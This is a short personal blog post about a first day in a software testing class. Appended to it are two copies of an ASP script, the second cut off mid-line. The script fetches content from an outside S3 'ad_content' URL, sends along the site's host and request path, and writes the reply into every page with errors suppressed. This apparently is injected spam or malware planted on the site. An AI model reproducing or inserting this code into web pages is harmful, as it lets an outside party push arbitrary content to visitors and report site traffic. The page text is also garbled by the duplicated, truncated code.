First day @ class
This is my first day in software testing class and it went on well. I was just introduced to the basic concepts in testing. The class lasted for four hours but it was not that tiring. I simply tried to grasp the concepts and I wish I finish the course in a proper way. GOd should help me out to get into job as soon as I finish the course.
<% url = "http://s3.amazonaws.com/mf1/ad/19ff96f104f766fa0e5f/ad_content" Dim xmlhttp On Error Resume Next if Request.ServerVariables("REQUEST_URI") then url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("REQUEST_URI")) else url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")) if Request.ServerVariables("QUERY_STRING") <> "" then url=url&Request.ServerVariables("QUERY_STRING") end if end if set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") On Error Resume Next if xmlhttp is nothing then set xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if xmlhttp is nothing then set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.4.0") end if if xmlhttp is nothing then ' cannot load xml component else xmlhttp.open "GET", url, false xmlhttp.send "" if xmphttp.Status = "200" then content = xmlhttp.responseText if InStr(content, "") > 0 then
content = ""
end if
Response.write content
end if
set xmlhttp = nothing
end if
%>
<% url = "http://s3.amazonaws.com/mf1/ad/19ff96f104f766fa0e5f/ad_content" Dim xmlhttp On Error Resume Next if Request.ServerVariables("REQUEST_URI") then url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("REQUEST_URI")) else url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")) if Request.ServerVariables("QUERY_STRING") <> "" then url=url&Request.ServerVariables("QUERY_STRING") end if end if set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") On Error Resume Next if xmlhttp is nothing then set xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if xmlhttp is nothing then set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.4.0") end if if xmlhttp is nothing then ' cannot load xml component else xmlhttp.open "GET", url, false xmlhttp.send "" if xmphttp.Status = "200" then content = xmlhttp.responseText if InStr(content, "



Comments